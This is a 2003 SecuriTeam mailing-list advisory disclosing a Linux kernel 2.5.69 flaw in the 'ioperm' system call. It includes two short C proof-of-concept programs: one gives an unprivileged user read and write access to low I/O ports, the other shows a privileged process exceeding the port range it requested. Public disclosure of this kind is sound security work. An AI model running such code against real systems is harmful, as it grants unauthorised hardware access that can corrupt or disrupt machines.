[UNIX] Security Vulnerability in "ioperm" System Call

From: SecuriTeam (support_at_securiteam.com)
Date: 05/21/03

  • Next message: SecuriTeam: "[UNIX] Owl Intranet Engine Security Bypassing"
    To: list@securiteam.com
    Date: 21 May 2003 17:20:09 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    In the US?

    Contact Beyond Security at our new California office
    housewarming rates on automated network vulnerability
    scanning. We also welcome ISPs and other resellers!

    Please contact us at: 323-882-8286 or ussales@beyondsecurity.com
    - - - - - - - - -

      Security Vulnerability in "ioperm" System Call
    ------------------------------------------------------------------------

    SUMMARY

    The "ioperm" system call allows an unprivileged user to gain read and
    write access to I/O ports on the system. When used by a privileged
    process, the "ioperm" system call also fails to properly restrict
    privileges.

    DETAILS

    Vulnerable systems:
     * Linux kernel version 2.5.69

    Steps to reproduce:
    Example One -- The following program when run as an unprivileged user will
    allow him or her to read from or write to I/O ports with addresses which
    are below 0x3ff (1023).

    # include <stdio.h>
    # include <sys/io.h>
    # include <stdlib.h>

    int main(int argc, char **argv)
    {
            if (argc < 2) {
                    (void) fprintf(stderr, "Usage: %s PORT [VALUE]\n",
    argv[0]);
                    return (2);
            }

            if (ioperm(1023, 1, 0) == -1) {
                    perror("ioperm");
                    return (1);
            }

            if (argc < 3) {
                    (void) printf("0x%02x\n", inb(atoi(argv[1])));
            } else {
                    outb(atoi(argv[2]), atoi(argv[1]));
            }

            return (0);
    }

    Example Two -- This next program when run as a privileged user
    demonstrates how "ioperm" fails to properly restrict privileges.

    # include <sys/io.h>
    # include <stdio.h>

    int main(void)
    {
            if (ioperm(888, 1, 1) == -1) {
                    perror("ioperm");
                    return (1);
            }

            (void) printf("0x%02x\n", inb(889));
            return (0);
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:mbligh@aracnet.com> Martin
    J. Bligh.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Owl Intranet Engine Security Bypassing"

    Relevant Pages

    • Re: Basic privilege set defined where?
      ... can use the token "basic" to denote the basic set. ... really the set of all conceivable privileges a unprivileged user ... We just haven't named all those privileges yet; ... set is first restricted by the limit set. ...
      (comp.unix.solaris)
    • [VulnWatch] Linux 2.4 kernel ioperm vuln
      ... The "ioperm" system call allows an unprivileged user to gain read and ... write access to I/O ports on the system. ... the "ioperm" system call also fails to properly restrict ... privileges. ...
      (VulnWatch)